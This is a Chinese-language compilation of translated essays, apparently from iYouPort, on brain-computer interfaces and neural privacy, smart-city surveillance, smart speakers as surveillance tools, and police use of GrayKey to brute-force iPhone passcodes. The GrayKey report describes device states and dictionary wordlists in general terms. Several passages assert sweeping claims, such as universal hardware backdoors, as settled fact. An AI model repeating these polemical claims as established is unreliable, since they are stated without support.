如今，瘫痪者已经在测试脑机接口，这是一种将大脑与数字世界连接在一起的技术（SN：11/16/13，第22页）。仅凭大脑信号，用户已经能够在线购物、交流，甚至使用义肢喝杯水（SN：6/16/12，第5页）。能够听到神经颤动、理解神经颤动，甚至可能修改神经颤动的能力，可以改变和改善人们的生活，而这种改变和改善的方式远远超出了医学治疗的范围。

但是，这些能力也引发了关于谁能进入我们的大脑、以及出于什么目的的问题。

由于神经技术的潜力有好有坏，我们都有兴趣去塑造它的创造方式，以及最终如何使用它。但大多数人没有机会参与其中，只有在这些进展成为既成事实之后才会发现。因此，《科学新闻》询问了读者对最近神经技术进展的看法。结果描述了三个主要的伦理问题—— 公平性、自主性和隐私。远的不说，读者们最关心的是隐私问题。

允许公司或政府，甚至只是医疗工作者访问大脑内部运作的想法吓坏了许多受访者。这种入侵将是最重要的突破口，在这个世界上，隐私已经很少见了。“我的大脑是我唯一知道的真正属于我自己的地方”，一位读者写道。

能够改变您的大脑的技术—— 推动它以某种方式思考或行为—— 对许多人来说尤其令人担忧。一些受访者提出了一个噩梦般的场景：我们变成了被别人控制的僵尸。

当讨论到这些类型的大脑操纵时，人们会想到几个科幻场景，比如2004年凄美的电影《永恒的阳光》（Eternal Sunshine of the Spotless Mind）中的记忆被清除；2010年电影《盗梦空间》（Inception）中想法被植入一个人的大脑；或者1999年的惊悚片《黑客帝国》（The Matrix）中，人们被欺骗，误以为虚拟世界是真实存在的。

今天的科技能力与这些幻想都相差甚远。不过，“此时此地也同样存在道德问题”，西雅图华盛顿大学的神经伦理学家蒂莫西·布朗说，“我们不需要《黑客帝国》来获得这种荒诞”。在某些方向上推动大脑活动的能力提出了道德问题

今天，道德准则和法律规范着研究、医疗和我们隐私的某些方面。但

是，我们并没有全面的方法来处理未来脑科学发展可能出现的侵
Rafael Yuste）说："我们在这里都是茫无头绪的情况下硬著头皮上的"。

目前，伦理问题正以零散的方式进行着。学术研究人员、生物伦理学家、及IBM和Facebook等私人公司的科学家们正在相互讨论这些问题。大型的大脑研究联盟，如美国的BRAIN计划（SN：2/22/14，第16页），包括为解决隐私问题的项目提供资金。包括智利国家立法机构在内的一些国家政府正开始解决神经技术带来的担忧。

在这种不协调的努力下，没有出现共识也就不足为奇了。现有的几个答案和提出问题的人一样，千差万别。

电极手镯 ——

「图」

一个镶嵌着电极的手镯可以检测手腕上的微小神经脉冲。

这款手镯（如图所示）使用肌电图仪，它可以拾取控制肌肉的神经细胞的行为，窃听从大脑到手部肌肉的信号。

这款手环由总部位于纽约的 *CTRL-Labs* 公司开发，该公司是一家神经接口公司，于***2019***年被 ***Facebook Reality Labs*** 收购，该手环可以让用户在虚拟房间内下棋，控制手部虚拟人物，并在口袋内用微小的动作打字，例如，无需键盘、鼠标或触摸屏。该技术仍在开发中。

阅读思想

「图」

能够直接从大脑中提取信息 —— 不依赖说话、写作或打字—— 长期以来一直是研究人员和医生的目标，他们打算帮助那些身体无法再移动或说话的人。目前，植入的电极已经可以记录大脑运动区域的信号，让人们可以控制机器假肢。

2019年1月，约翰-霍普金斯大学的研究人员在 Robert "Buz" Chmielewski 的大脑中植入了电极，他在一次冲浪事故后四肢瘫痪。研究人员在12月10日的新闻发布会上宣布，通过来自他大脑两侧的信号，Chmielewski 可以控制两个假肢手臂同时使用叉子和刀子来吃饭。

另一些研究则从一名无法说话的瘫痪男子的大脑信号中解读出了语音。当这名男子在电脑屏幕上看到“你想喝水吗？”的问题时，他只用大脑中的信号就回复了“不，我不渴”的信息。11月19日，在哥伦比亚大学举办的一次研讨会上，这一壮举被描述为大脑与计算机的连接正在取得巨大进展的又一例证。

亚特兰大埃默里大学（Emory University）的神经伦理学家卡伦·罗姆法格（Karen Rommelfanger）说：“以前我们从来没有能够在不与身体外围互动的情况下获得那样的信息，你必须自愿激活”。例如，说话、手语和写作，“都需要你的几个决策步骤”，她说。

今天，从大脑中提取信息的努力通常需要笨重的设备、强大的计算能力，最重要的是，需要一个愿意参与的人，罗姆法格说。目前，试图闯入你的大脑的意图，很容易通过闭上眼睛、或晃动手指、甚至昏昏欲睡来挫败。

更重要的是，罗姆法格说：“我不相信任何神经科学家知道什么是心智，什么是思想”，她说，“从现有的技术地形来看，我并不关心读心术”。

但这种地形可能很快就会改变。尤斯特说：“我们正在非常非常接近有能力从人们的大脑中提取私密信息”，他指出，有研究已经解读了一个人在看到什么，听到什么话。洛杉矶附近的一家神经技术公司 Kernel 的科学家们发明了一种刚刚上市的头盔，它本质上是一个便携式的大脑扫描仪，可以采集到某些大脑区域的活动。

目前，寡头公司只有您的行为数据 —— 您的点赞、点击、购买历史 —— 来建立诡异精确的个人资料档案，然后用来估计您下一步会做什么。而人们允许他们这样做了。预测算法做出了很好的猜测，但同样都是猜测。“而有了这些从神经技术中收集到的神经数据，可能就不再是猜测了”，尤斯特说。那些公司将拥有真实的东西—— 直接从源头开始。

尤斯特说，随着技术的进一步改进，即使是潜意识的想法也可能被揭示出来。“这是隐私的终极恐惧。你还能剩下什么？”

激光头盔——

「图」

这种头盔将激光束穿过头骨，射入大脑。在反射到组织和血液后，光

粒子返回到测量氧含量的探测器。这些水平显示了大脑中神经细胞活跃的位置，从而提供了有关心理过程的线索。

这种技术被称为功能性近红外光谱，与脉搏血氧仪测量血液中的氧含量类似的逻辑。*2021*年初，总部位于洛杉矶附近的神经技术公司 *Kernel* 开始向研究人员出售 *Kernel Flow* 头盔（如图所示），这些研究人员正在使用该工具研究脑震荡、语言、甚至梦境。

重写、修改

「图」

能够改变大脑活动的技术今天已经存在，作为医疗手段。例如，这些工具可以检测和避免癫痫患者的癫痫发作，或者在发作发生之前阻止它。

研究人员正在测试治疗强迫症、成瘾和抑郁症的系统（SN：2/16/19，第22页）。但是，直接精确地改变大脑功能的力量 —— 并因此改变一个人的行为 —— 引起了令人担忧的问题。

苏黎世联邦理工学院（ETH Zurich）的生物伦理学家 Marcello Ienca 表示，说服、改变一个人的思想的愿望并不新鲜。赢得人心是广告和政治宣传的核心。然而，能够改变你的大脑活动的技术，只需轻轻一推，“已经将当前的心理操纵风险提高到了一个全新的水平”。

如果这种影响在医疗领域之外找到了位置，会发生什么？医生可能会使用精确的大脑改造技术来缓解厌食症对年轻人的控制，但是，同样的技术也能被用于赚钱的目的。“想象一下，当你走进麦当劳，突然间你有一种不可抗拒的冲动，想吃一个（或10个）汉堡”，一位读者写道。

这种渴望是由真正的饥饿引起的吗？还是说，它是在你开车靠近金色拱门时，一个微小的神经操纵的结果？这种神经入侵可能会引发人们对这种心理冲动来自哪里的不确定，甚至可能完全逃避注意它究竟来自哪里。“这是超级危险的”，尤斯特说。“当你开始刺激大脑的那一刻，你就会改变人们的想法，而他们永远不会知道，因为他们会把它理解为‘那是我自己的想法’”。

在现有的技术下，对人进行精确的大脑控制是不可能的。但是，在暗示可能的情况下，科学家已经在小鼠大脑内创造了视觉（SN：8/17/19，第10页）。研究人员利用一种名为“光遗传学”的技术，

刺激小鼠神经细胞，让小鼠“看到”那些并不存在的线条。那些小鼠的行为就像它们的眼睛真的看到了线条一样，尤斯特说，他的研究小组进行了其中的一些实验。他称那些小鼠为“木偶”。

【注：光遗传学融合光学及遗传学的技术，精准控制特定细胞在空间与时间上的活动。其时间上精准程度可达到毫秒，而空间上则能达到单一细胞大小。】一旦研究人员或公司可以改变我们的大脑活动，神经隐私是否需要特殊保护？

该怎么做？

「图」

随着神经技术的大步前进，科学家、伦理学家、公司和政府都在寻找如何甚至是否要监管脑技术的答案。目前，这些答案完全取决于谁来问。而它们的背景是，人们已经变得令人惊讶的习惯于越来越多的侵入性技术。

您允许您的智能手机随时监控您去哪里了，您什么时间睡觉，甚至您是否已经洗了手整整20秒。再加上您主动分享的数字面包屑，包括您尝试的饮食、狂欢的节目和喜欢的推文，所有人的生活就是一本打开的书。

宾夕法尼亚大学的伦理学家安娜·韦克斯勒（Anna Wexler）说，这些细节甚至比大脑数据更强大。“我的电子邮件地址、我的笔记应用、和我的搜索引擎历史记录，比我们的神经数据可能更能反映出我作为一个人的身份—— 我的身份”，她说。

韦克斯勒认为，现在担心神经技术对隐私的侵犯还为时过早，这一立场使她成为一个异类，“我的大多数同事会告诉我，我疯了”。

在光谱的另一端，包括尤斯特在内的一些研究人员提出了围绕隐私的严格规定，将把一个人的神经数据当作他们的器官来对待。就像肝脏在没有得到批准的情况下不能从身体中取出用于医疗目的一样，神经数据也不应该被移除。这种观点在智利得到了认同，智利现在正在考虑是否对神经数据进行分类，制定新的保护措施，不允许公司获取神经数据。

其他专家的观点则介于中间。例如Ienca，不希望看到对个人自由的限制。人们应该可以选择出售或赠送自己的大脑数据，换取自己喜欢的产品，甚至直接换取现金。“人类的大脑正在成为一种新的资产”，

Ienca说，这种东西可以为渴望挖掘数据的公司创造利润。他称之为 “神经资本主义”。

而 Ienca 对此很满意。如果一个人有足够的信息—— 当然，这是一个值得怀疑的如果 —— 那么他们就有权利出售他们的数据，或者用它来交换服务或产品，他说。人们应该有自由对他们的信息做他们喜欢的事。

罗姆法格指出，一般的规则、清单和法规不可能是一条好的前进道路。“现在，自2014年以来，已经有超过20个关于如何处理神经科学的框架、指南、原则”，她说，这些通常涵盖了 “精神隐私” 和 “认知自由”，即 控制自己精神生活的自由。

她说，这些准则是经过深思熟虑的，但是，这些技术在它们的能力和可能的伦理反响上有所不同。罗姆法格说，不存在 “一刀切” 的解决方案。

皮下植入物——

「图」

掺杂着数百或数千个电极的细细的卷须在大脑中蔓延，以监听——甚至可能刺激—— 神经细胞。到目前为止，埃隆·马斯克的公司 *Neuralink* 已经在实验室的老鼠和猪身上尝试了这种方法。其他实验室正在瘫痪患者身上测试植入的电极。为了让手术风险更小、效率更高，*Neuralink* 正在打造一个机器人，可以快速将电极线（如图所示，连接到充电盘上）缝入大脑，最终将人与电脑连接起来 ……

相反，每个公司或研究小组可能需要在整个发展过程中解决伦理问题。罗姆法格和同事最近提出了五个问题，研究人员可以自问自答，开始思考这些伦理问题，包括隐私和自主权。例如，这些问题要求人们考虑如何在实验室之外使用新技术。

罗姆法格说，在技术上继续前进，帮助患有精神疾病和瘫痪的人是一种道德上的要求。“比起我对侵犯隐私的恐惧，我更担心的是公众信任度的降低，这可能会破坏这项技术可以做的所有好事”。

缺乏伦理清晰度不太可能减缓即将到来的神经技术热潮的步伐。但对伦理的深思熟虑可以帮助塑造未来的轨迹，并帮助保护让我们最人性的东西。〇

Can privacy coexist with technology that reads and changes brain activity?

原文

被俘虏的城市：为什么人们会接受可怕的军管？ - iYouPort

你应该了解的现实少数派报告

“智能城市” 并不是实际存在的东西。那么，它究竟是什么？

「图」

「图」

您可能再也躲不过那些他妈的 “智能” 了 —— 智能冰箱、智能牙刷、智能锁、智能一切。

所有这些所谓的智能通常仅仅等于在老旧笨拙的物件儿上配备了收集数据的传感器、用于算法操作的软件、以及联网功能，以便它可以与其他物件儿不断进行通信，并由其所有者、制造商、和黑客进行远程控制。

但是，将所谓的 “智能 “应用于整个城市，这究竟意味着什么？

从一开始，”智能” 城市模式就一直是一个定义模糊的项目。它承诺通过将城市 —— 及其居民 —— 变成一堆关于其各方面如何运作的实时数据的节点，并通过将各地的传感器连接在一起并将其连接到一个集中化的网络中，从而为城市规划赋能、优化城市基础设施。

它承诺通过将企业家精神引入市政厅，在财政紧缩和激烈竞争的条件下茁壮成长。最终，正如 IBM 的 CEO Ginny Rometty 所宣称的那样，它承诺要 “推动经济增长” 和 “推动社会进步”。

- 《是谁在将反乌托邦大跃进伪装成智能城市？你被剥夺了什么？》

“智能城市” 背后的企业利益集团 —— 包括像IBM和思科这样的先行者，以及像 Sidewalk Labs 这样的后起之秀 —— 不仅试图推销各种

所谓的技术解决方案和管理服务，比如从里约热内卢到雅加达的控制室；他们还在销售为大规模监视提供辩词的意识形态背景。

这就需要构建一种叙事方式 —— 目的是同时说服规划者、政治家和公众 —— 关于城市所面临的所谓危机、改革的所谓必要、以及让企业掌权所带来的好处。

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》

如上所述，“智能城市” 应该被理解为一种社会技术想象，即 作为一种理想中的未来愿景和表现，这种愿景和表现的基础是通过技术手段来改变社会，坚持一种特定的城市发展和治理模式。

在这一愿景中，城市被数据驱动的决策协议所引导，由中央控制室实时监控，并将其转化为生产直观数据的机器。

你甚至很难责怪他们的预期目标，不管是需要帮助更有效地管理复杂系统的规划者，还是承受着保持高绩效压力的政客，或者是希望生活在一个为他们的需求服务的城市里的市民 ..... 他们都会顺应这种说法。所谓的智能城市毕竟只是为了让它听起来很牛逼。

但是，许多支持智能城市想象的承诺和原型实际上都是虚构的。它们往往只是作为营销手段而存在。

如果它们真的实现了，那么它们也没有达到预期的效果。

实际上，现有的智能城市都存在拖延和死角、故障和鬼城等问题。例如，韩国的松岛从一开始就是作为一个智能城市而建立的，无处不在的传感器、自动化服务，以及在每一个表面 —— 每一个建筑、每一个公交站、每一个灯柱上 —— 都安装了更多的屏幕。

它应该成为所有其他城市效仿的一盏闪亮的灯塔？但是，正如这篇 CityLab 的文章所指出的那样，它不仅不断地浪费了预算和时间，而且，现在这个城市人烟稀少。

它就像一个未曾到来的城市未来的展厅，就像一个生活化的建筑模型。

智能城市不是梦想的领域。即便你把它建好了，它们也不会到来。

那么他们我说妈妈还要这样做呢？

仔细研究一下与 “智能城市” 相关的一系列技术和政策，就会发现，它有一个完全不同的目标。

⚠ 这些技术把城市当作一个战斗空间，将最初只为军事目的而建立的信息系统重新部署在城市治安上。

传感器、摄像头和其他网络化的监控系统通过准军事化的方法收集情报，为另一套能够部署资源的系统提供反馈。

在现实中，城市指挥中心—— 或者说，像中情局资助的 **Palantir** 公司生产的那种复杂的分析软件，主要是为了警察而建的，而不是为规划者而建，更不用说公众了。

与那些 “不智能” 的东西相反，⚠ 这些所谓的智能系统并不是为一般人所使用的，而是强加在人身上的。

这种城市战争机器才是 “智能” 城市主义的真正本质。它是高科技军事化社会的下一步。它产生的不是智能城市，而是被俘虏的城市。

「图」

「图」

当您听到 “智能城市” 一词时，您不应该只想到光滑的营销点差和概念设计。您应该立即想到类似区域感知系统那种东西。

据纽约警察局称，该系统是纽约警察局与微软的合作，“利用了世界上最大的监视摄像机、车牌读取器和放射传感器网络。”

通过对所有这些数据源施加巨大的处理能力，该监视基础结构的分布式网络现已集成到一个统一的系统中。

只需要配备电话和平板电脑的任何警官即可以实时访问其中的任何信息，这使他们能够执行以下操作，例如 从整个城市的闭路电视监视摄像机中提取任何信息，搜索范围广泛的其他数据库，以及打开自动警报功能如果该软件判断为所谓的 “可疑活动” 的话。

研究城市警务技术政治的社会学家 Josh Scannell 表示，该系统是全球 “反恐战争” 的另一产物。

Scannell 写道，”根据反恐任务，由国土安全部的资金建造，这个 “区域感知系统” 的监控范围远远超出了明显的 ‘犯罪分子’，包括辐射探

测器的数据 —— 敏感到可以从路边过往的人体中提取数据 —— 而且足够精密，可以快速调用其不断挖掘的数据库中存储的元数据、以及时间上没有限制（和未定义的）‘环境数据’，可追溯长达五年。”

正如这套监控和分析系统所表明的那样，被俘虏的城市基于两种相互关联的意义：数据和领土。

由军工综合体建立和运行的该监视系统网络完成了数据捕捉，使警方能够更好地捕捉到城市的领土，以在全市范围内维持一个拉网监视，并对目标群体进行监控。目的是将城市紧紧地嵌入到这些监视系统中，使其成为城市基础设施的“重要组成部分”，使两者永远无法割裂开。

⚠ 这个城市在思想上也被俘虏了。俘虏城市的构想需要对城市居民进行对抗性侦查：当敌人可以在任何地方时，战斗空间无处不在 —— 必须始终考虑所有地点和所有人员。

有了足够的无处不在的监视和处理能力，目标就是使整个城市 —— 每一个地方、每一个时刻 —— 都可知且可控：它们将能够在时间上倒带，在任何时间点暂停，并随着时间的推移观看它的展开，或者快进、并设计出预测性警务模型。就是少数派报告系统。

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本》

通过高分辨率的监视摄像头和传感器，“这些系统可以生成可探索的三维地图，分析师可以在其中追踪任何感兴趣的人，就像在无时无刻徘徊的无人机上一样，”《华尔街日报》 的 Christopher Mims 写道。

通过实时跟踪使所有清晰易读的内容；通过数据驱动的分析揭示所有个人资料和行为模式。取代警察（及其私人合作伙伴），“智能” 系统承诺施加类似于机器的命令，仿佛可以使城市像分析它的计算机一样可预测和可编程地运行。

世界上其他城市已经将区域感知系统和同类的控制中心和分析平台作为治理城市社会的模式。随着技术的发展，更强大的硬件和软件可以被添加到这些系统上并集成到这些系统中。

例如，这家名字叫 “持久监视系统”（Persistent Surveillance

Systems）的臭名昭著的公司已经在市场上公开销售了最初只为美国在伊拉克军事用途而开发的空中监视技术。

根据彭博商业周刊的一项调查，通过在城市上空飞行，这架飞机的广角摄像头可一次捕获大约30平方英里的区域，并将实时图像连续传输给地面分析人员。

该硬件可以轻松地插入区域感知系统，从而提供从街道到天空的全面覆盖。

这种试图夺取城市的尝试体现了 Donna Haraway 早在1989年所预见的东西，即新兴的“统治信息学”，其中对现有的权力等级制度，如种族主义、性别歧视和殖民主义进行了重新配制，并在物质上和意识形态上进行了复制。

但是，区域感知系统的集中式命令和授权方法仍然停留在有关如何控制城市的古老的集中化思想中。它的前提是要安装全面控制的大脑和上帝的眼睛 —— 一个没有充分利用 Haraway 所提起的“可怕的新网络”的城市处理部门。

对于统治的下一个步骤 —— 分散部署更明显，压制程度更小 —— 我们必须研究被俘虏城市中最敬业的建筑师正在建造什么：亚马逊。

过去，城市监控最强大的升级主要来自国防部和国土安全部，但是如今，像亚马逊这样的公司推出了联邦调查局和中央情报局用于追杀的监控系统。（现在，这些间谍只需每月支付访问费用就行了）

亚马逊的联网门铃摄像头 Ring 和与其相关的 Neighbors 应用就是一个典型例子。⚠ **Ring**对被视为特权阶层群体的消费者具有吸引力，他们认为警察本质上是站在他们一边的，“没什么可隐瞒的”本身，以方便的包装向他们保证所谓的安全。

- 《“没什么可隐藏的”—这个愚蠢的反人权论调从何而来？》

但是，它真正提供的是扩大警察部队的权力。Ring 已与美国各地数百个警察部门合作，向市民提供打折或免费的设备。

- 详细参见《亚马逊帮助警方构建了一个广泛的监控网络》

尽管亚马逊在另一个市场中从数据存储费和垄断中获利，但警察拥有分布式摄像头网络，他们可以通过Ring提供的“执法仪表板”来使用这些摄像头，并将其连接到其应用程序 Neighbors。

⚠ 通过将这些设备作为消费品出售（甚至赠送），亚马逊和警察可以避免通常由于监视摄像机大量扩散而引起的公众监督问责，尤其是在整个居民区，因为每个家庭都愿意安装一个 **Ring** 监视器。

「图」

「图」

俘虏城市最阴险的方面在于，它在公众视野中隐藏了多少军事力量。

☞ 既不是警察小队用突击步枪和战术装备在人口稠密的地区巡逻，也不是抗议者被专门的防暴队在街头镇压。它的日常监视和控制实践——例如 StingRay 模拟细胞塔的数据收集或决定警察行动的算法——将在很大程度上不可见。

警察军事化（在"ACLU报告"中有详细说明）是将战术和战争武器带回家，并传入我们的城市、并且其使用范围没有明显限制的代名词。

Stephen Graham 在《Cities Under Siege》中警告说，“最终，随着军事思维方式的泛滥，世界上将没有任何东西能摆脱成为这种永久性最新意识形态调动的全部象征性或实际暴力的目标，无限的战争。”

「图」

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/39232805

那些足够聪明和勤奋的人会找到避免、欺骗甚至颠覆极权主义制度的方法。我们应该支持这些抵抗的实例，同时也认识到它们是必要的，但并不足。

正如 Os Keyes 在面部识别基础设施方面的论述所指出的那样，即使禁止面部识别软件获得成功，也仅仅是第一步，而不是最后一步：“我们应该庆祝成功，但我们也应该明白，‘成功’不只是像看起来那样把技术放在坟墓里。要碾碎它的骨头，令其永远无法复活。”

- 详细分析《我们遗落的骨骸》

逃离被俘虏的城市将需要进行类似的突围之战，彻底拆除许多技术和意识形态的基础设施。

这将要求我们毫不留情地针对监视系统的生产者和使用者、城市控制的供求关系。这将要求我们深刻地认识到我们的敌人是谁，并如此命名他们。

这些所谓的智能的想法之市场是由其提供者和支持者制造的。他们的吸引力是人为诱使的，并反复得到加强。他们不可避免地受到假象的支持。

现在是时候宣布，作为那些寡头公司的幻想，智能城市已经死了 —— 如果它最初曾经活过的话。我们应该确保被俘虏的城市遇到同样的命运。〇

//Jathan Sadowski// *is a research fellow in the Emerging Technologies Research Lab in the Faculty of Information Technology at Monash University.*

原文

警察国家的梦想 - iYouPort

你应该了解的现实你我的灾难现实技术暴政监视之恶-关于你可能还不知道的真相

还记得我们在对 “操纵式宣传” 的分析中所解释的*前宣传*概念吗？

直接灌输是没有多少人会接受的，但是，如果你预先将你的目标变成大众乐于接受的亚文化，之后你再提出你需要人们接受的东西，就会非常容易了。

如果错过了，在这里看到《操纵式宣传：五个过滤器和识别线索》

技术角度上也一样。而且可以做得更加难以被察觉。想想看，如果你想要为大众灌输“警察国家是理所当然的”，肯定所有人都会反对你；但是，当 “智能音箱是高科技美好生活的标配” 这一理念已经变成一种价值观甚至亚文化时、当越来越多的人购买了这种东西塞进他们的家里后……你理想中的警察国家就已经实现了。

Leor Grebler 说出了这一点。他是 UCIC 的创始人（Unified Computer Intelligence Corporation）以下是他的文章。

「图」

「图」

两年前，我终于有时间坐下来读我的祖父 Eliahu Grebler 的回忆录了。在其中，他谈到了他和我祖母在闪电战期间面对纳粹威胁时逃离波兰的悲惨遭遇。

他们差点没能逃脱德国空军对逃亡难民队伍的大屠杀和扫射。

从小就接触到这些关于大屠杀的故事，这些故事都奠定了我对自由和政治制度的看法。

自由可以是短暂的，政治制度可以迅速破坏稳定，只能依赖于人们善意行事的信念，偏见与经济学成反比。

尽管在年轻时就意识到人类历史上最可怕的暴行，但我仍然是一个铁杆乐观主义者，特别是在技术方面。

也许你可以把我放在“技术解决一切”的信徒阵营中 —— Ray Kurzweil 和 Peter Diamandis 都在这个阵营里。

然而，如果你展望未来二十年的话就会看到，技术进步将完全黯然失色 —— 尤其是那些围绕机器人、医学和人工智能的技术。

令人担忧的是，只有极少数不良行为者才能控制大多数人口，那些拥有先进技术的人将获得如此巨大的优势，那些无法拥有技术的人将被视为完全无能。

技术本身没有道德感，但却是掌握它的人的武器。

即将出现的问题是，如此多的新工具如此地强大，以至于如果有人选择将它们用于邪恶目的，其影响将是毁灭性的。

哲学家 Nick Bostrom 在他的“脆弱世界假说”中将这些潜在的灾难诱导技术称为“黑球”。

如果人类发现了如此强大的技术，他们就必然会用它来摧毁自己。

他提出了一个论据：要么削减技术进步，要么围绕可能导致黑球被吸引的技术构建约束框架。

虽然我不相信我们是如此脆弱，但我确实害怕那些想要造成伤害的人；并且，即使是出于自称更崇高的目的，也可以轻松地利用现有的或即将推出的技术造成灾难。

考虑到这一点，我们首先应该看一下人类与技术之间的关系类型、以及我们为自己提供的信息。

我们需要了解如果政府或坏人决定将这些数据用于恶意目的其结果会发生什么。

还需要注意当权者的监视可以采取的一些新方法，他们想要怎样进一步控制或影响我们？

在深入研究之前，需要首先承认，目前世界上大多数政府都可以完全访问我们的私人信息。

在手机、路由器、笔记本电脑、甚至内置低级硬件控制芯片的所有产品中都可以找到后门。

这些 hack 不仅影响消费者设备，而且意味着，任何通过受损基础设施的东西都很容易受到间谍活动的影响。

交换机、电信基础设施和数据中心都已受到损害并被用于监控。

当政治体制总体稳定、有制衡机制、健康强大的司法制度、以及经济状况良好时，也许可以容忍政府机构在法律之外行一点事。

但是，如果上述这些完美状况出现任何改变呢？

对恶意行为者来说，最触手可及的是任何公开表达的对当权者的批评。Facebook 上的任何帖子、任何推文、中文文章。

这并不需要大量人力来监视。有很多脚本可以把这些帖子刮出来、还有围绕语言情感分析的新工具，都可以快速实现这一思想警察的自动化过程。

思想警察的工作可以快速扩展并实施以进行持续的监控。任何人发布了关于掌权者的坏话，他们就会立即知道。

同样，公共信息被用来影响大众，认知操纵，在2016年的美国大选中已经充分看到了这一点。

只有一小群人（几十人到几百人）能够在适当的时候强化政治观点、操纵媒体和人民，散布错误信息，甚至举办政治活动。

这只是坏人的智能部署 —— 甚至没有人工智能或自动化。如果这种情况在更大范围内实现会发生什么？如果机器人就可以做到这一点会发生什么？

除了人们自己公开披露的信息之外，监控还可以通过各种自动化进行扩展，使任何持不同政见者都很难在没有被发现的情况下存在于公共场所。

面部识别已经变得更准确、更快速、并且需要更少的计算。现在，您可以扫描一大群人，并在几秒钟内识别出每一张脸。一个摄像机无法识别的面部可以在移动到另一个摄像机视野内时被识别出来。

还可以将关于被跟踪人的年龄、性别、和情绪状态的诸多附加信息全

部标记进去。想要避开这样的监视系统可能需要特殊的化妆或伪装。（在这里看到《让面部识别失效的思考方式》）

在1984里，麦克风随处可见。人们甚至担心在田间存在窃听他们的麦克风。

奥威尔可能没有想到“自由世界生活”的人们将麦克风阵列直接放进了自己的家里和办公室里，并且，随身携带着一个360度摄像头，同时还有麦克风和传感器的实时监视设备 …… 能确保政府监视不会错过任何一个词语。

注：Facebook 已经实现了这一点，详见《Facebook 给了全球当权者一个终极暴政蓝图》

当 Echo 出现时（也就是两年前，当时我和我的同事联合推出了 Ubi），它的隐私承诺来自这样一个事实，即 设备实际上没有窃听，直到你说“Alexa”。

自该原始版本发布以来，亚马逊将此本地唤醒词更新为“基于云的唤醒词验证”。

亚马逊可以通过缓冲设备上的一些音频然后将此音频以及口语“Alexa”发送到亚马逊来改进唤醒词的性能。

如果事实能证明设备本地检测到“Alexa”但云服务未检测到“Alexa”则会关闭音频流，那还可能会好一点。但是 …… 你将在“谷歌和亚马逊”栏目中看到的那些惊人消息可不是这样的，亚马逊录制了用户洗澡的声音，还将这些声音发给了你完全不知道是谁的人。这只是诸多案例这一。

最近，亚马逊还宣布了“Alexa Guard”，当有人离家时，它会在设备上本地监听音频事件，如果听到可疑的声音（例如玻璃破碎），可能会提醒该人。

更多听到和理解的能力被带到了“边缘”，意味着我们再也不能放心了，即使像 Echo 这样的设备没有流式传输我们的现场音频，他们也无法理解我们并随时将声音背景传递给外部服务。

今天，语音已经可以被用于识别人的身份了。很快，它也可以用来确定你的情绪状态、你的性别、以及精准的位置，和你的健康状况。

在使用这些设备时还需要考虑的是，亚马逊向您出售这些东西是有明

确的赚钱意图的，但是，政府掌握这些设备的运行并不需要太费劲，⚠在所有家庭都需要它们的时候，更新固件，以便不间断进行流式传输和分析音频，以监视任何反政府活动。

Google Home，Apple HomePod 和 Earpods，Amazon Echos，Ring 和 Nest Cams …… 以及各种联网设备为人们提供了很多的便利。

但是，请随时记得，这些为你提供便利的东西随时都能在你不知不觉中变成警察国家的武器。

A Police State’s Dream 广告

原文

警察如何使用 GrayKey 暴力破解 iPhone - iyouport

你应该了解的现实

它还包括一个持续监视功能，即 当没收您的手机的警察把手机交还给您后，它会偷偷记录您的密码。

主板获得的 iPhone 解锁技术 GrayKey 的新书面说明对该设备的功能提供了更多的见解，包括 GrayKey 是否可以解锁关闭的 iPhone，或当 iPhone 的电池电量不足时。

“如何用 GrayKey 解锁和提取苹果移动设备的数据”，这份说明似乎是由圣地亚哥警察局编写的，内容如下。主板通过一份公共记录请求获得了这些文件。

GrayKey 由总部位于奥斯汀的 Grayshift 公司制造，旨在解锁现代iOS设备并提取其内容。

iOS设备默认是加密的，这意味着需要拥有或猜测到设备的密码才能访问存储在上面的数据。iOS设备保护自己免受暴力破解密码的攻击，但 **GrayKey** 在某些情况下可以成功地暴力破解**iOS**设备。该公司一直在与苹果公司进行猫鼠游戏，据称苹果公司试图修复 GrayKey 所利用的安全漏洞。但主板的调查显示，全国各地的地方警察都已经购买了**GrayKey** 设备。（换句话说，取证公司赢了）GreyKEY 的选项列表：来自主板

该说明一开始就要求使用者确保他们 “确实有合法的授权” 来搜索目标设备；这可以是搜查令的形式。而搜查令很容易获得。

该文件写道：“在将任何苹果移动设备连接到 GrayKey 之前，要确定是否已经为所请求的苹果移动设备建立了适当的搜索权限”。

该说明描述了它声称允许 GrayKey 连接的各种条件，比如：设备被关闭时（称为首次解锁前 即 BFU）；手机被打开时（首次解锁后 即 AFU）；设备有损坏的显示屏，以及手机电池不足时。关于如何使用

GreyKEY 暴力破解字母数字密码的说明：来自主板

说明显示，当运行 **GrayKey** 时，使用者可以围绕他们想从目标**iOS**设备中收集什么样的数据、或他们想如何提取数据进行各种选择。这些选项包括提取无法访问的文件的元数据，以及“当**SE**绑定密码时立即提取”，估计是指 **Secure Enclave**，即**iOS**设备中存储密码等敏感材料的部分。

该说明中的一节还描述了如何用暴力破解字母数字密码的方法。许多 iPhone 用户的密码都是纯数字的，只由数字组成；字母数字密码也使用字母，所以有更多的字符选项，如果使用随机的字符串，一般来说可以对暴力破解尝试有更强的抵抗力。然而，如果设备使用的是包含真实单词的字母数字密码，这可能会使破解密码变得更容易，也就是普通字典攻击的方法，使用人类可读的单词的长列表。描述允许使用 GrayKEY 的条件的说明：来自主板

“苹果移动设备上的字母数字密码将被 GrayKey 自动检测到，并要求分析员采取额外的行动”，说明中写道。说明中说，分析师将可以选择使用名为 “crackstation-human-only.txt” 的默认词表，也许指的是密码安全网站 Crackstation 发布的一个词表，其中包括大约15亿个单词。说明中还说，GrayKey 使用者也可以导入自己的自定义词表，但一次只能加载一个词表。

“如果暴力破解代理已经成功安装，飞行模式将被激活，苹果移动设备可以断开连接或保持与 GrayKey 设备的连接，以便提取数据”，说明中写道。

据NBC新闻报道，作为一个名为 HideUI 的功能的一部分，**GrayKey** 还允许警察安装监视代理，如果当局将用户的手机交还给用户，它会偷偷记录用户的密码。

Grayshift 没有回应关于 GrayKey 说明的评论请求。〇

Instructions Show How Cops Use GrayKey to Brute Force iPhones

原文

记者10分钟内就挖出了乔·拜登的移动支付账户。这就是为什么每个人的隐私都是噩梦 - iyouport

你应该了解的现实

